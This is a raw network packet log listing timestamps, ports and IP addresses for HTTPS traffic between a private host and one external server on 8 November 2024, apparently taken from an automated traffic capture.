Nov 8, 2024 11:09:35.780070066 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.780119896 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.780138969 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.780148029 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.780169010 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.780188084 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.780199051 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.780224085 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.780270100 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.780747890 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.835306883 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.835341930 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.835438013 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.835788012 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.835800886 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:36.671829939 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:36.683588982 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:36.683603048 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.040561914 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.040580988 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.040608883 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.040688992 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.040702105 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.040756941 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.042335033 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.042354107 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.042454004 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.042463064 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.088380098 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.157793045 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.157802105 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.157895088 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.157907009 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.158088923 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.158598900 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.158617020 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.158646107 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.158680916 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.158689976 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.158708096 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.158746004 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.159053087 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.159092903 CET	443	49790	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.159172058 CET	49790	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.172924995 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.172949076 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:37.173053980 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.173264980 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:37.173280954 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.021050930 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.021109104 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.023448944 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.023453951 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.023710012 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.024808884 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.071326971 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.395925045 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396003962 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396018982 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396085978 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.396102905 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396158934 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396199942 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.396208048 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.396245956 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.396253109 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.512864113 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.512883902 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.512952089 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.512964964 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.514179945 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.514199972 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.514261007 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.514271021 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.514302969 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.514360905 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.516298056 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.516314983 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.516395092 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.516402006 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.516582012 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.518132925 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.518161058 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.518202066 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.518208981 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.518238068 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.518250942 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.631027937 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631047964 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631119013 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.631129980 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631486893 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631510019 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631560087 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.631568909 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631589890 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.631617069 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.631964922 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.631979942 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.632071972 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.632080078 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.632359028 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.632688999 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.632704973 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.632764101 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.632772923 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.633012056 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.635785103 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.635809898 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.635915995 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.635925055 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.635936022 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.636202097 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.749418974 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.749444008 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.749541044 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.749551058 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.750133038 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.750164986 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.750209093 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.750216961 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.750248909 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.750271082 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.750936031 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.750952005 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751029015 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.751036882 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751365900 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751389027 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751436949 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.751445055 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751461029 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.751498938 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.751648903 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751662016 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751720905 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.751729012 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751964092 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.751981020 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.752049923 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.752049923 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.752058029 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.752372026 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.868208885 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.868232965 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.868290901 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.868299961 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.868343115 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.868364096 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.868812084 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.868829012 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.868911028 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.868916988 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869231939 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869251013 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869292021 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.869301081 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869324923 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.869389057 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.869792938 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869807959 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869870901 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.869878054 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.869893074 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.869935989 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.870318890 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.870347023 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.870428085 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.870436907 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.870449066 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.870651960 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.870856047 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.870872021 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.870934010 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.870939970 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.871330023 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.871347904 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.871390104 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.871397972 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.871438026 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.871438026 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.871845961 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.987757921 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.987776995 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.987883091 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.987891912 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.987978935 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988004923 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988086939 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988095999 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988096952 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.988096952 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.988107920 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988156080 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.988199949 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.988404989 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988420963 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.988476038 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.988492012 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989032984 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989052057 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989089966 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.989097118 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989142895 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.989146948 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989165068 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989211082 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:38.989221096 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:38.989234924 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.041578054 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.104851961 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.104875088 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.104983091 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.104998112 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106400967 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106421947 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106473923 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.106482029 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106529951 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.106551886 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.106745958 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106770039 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.106832027 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.106832027 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.106842041 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107093096 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107111931 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107170105 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.107170105 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.107180119 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107239962 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.107443094 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107458115 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.107522964 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.107522964 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.107532978 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.108068943 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.108088970 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.108124018 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.108131886 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.108170033 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.108170033 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.109111071 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.109126091 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.109190941 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.109199047 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.110635996 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.112210035 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.223551989 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.223587990 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.223669052 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.223680019 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.223747015 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.223776102 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225091934 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225107908 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225152969 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225161076 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225199938 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225200891 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225474119 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225493908 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225534916 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225544930 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225570917 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225595951 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225820065 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225836039 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225883961 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225891113 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.225902081 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.225967884 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226170063 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226186991 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226242065 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226249933 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226268053 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226330042 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226543903 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226557970 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226608038 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226618052 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.226650000 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226672888 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.226813078 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.227037907 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.227055073 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.227122068 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.227129936 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.227143049 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.227180958 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.227255106 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.352941036 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.352967024 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353039980 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353049040 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353115082 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353128910 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353136063 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353161097 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353197098 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353203058 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353262901 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353315115 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353338003 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353373051 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353379965 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353406906 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353420973 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353604078 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353620052 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353691101 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353691101 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353703022 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353827953 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353848934 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353885889 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353893995 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.353907108 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.353940964 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354057074 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354069948 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354126930 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354126930 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354134083 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354270935 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354288101 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354327917 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354334116 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354372978 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354372978 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.354981899 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.354995012 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.355041027 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.355046988 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.355070114 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.355097055 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.355097055 CET	49798	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:39.464190960 CET	443	49798	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:39.464214087 CET	443	49798	194.59.30.201	192.168.2.7
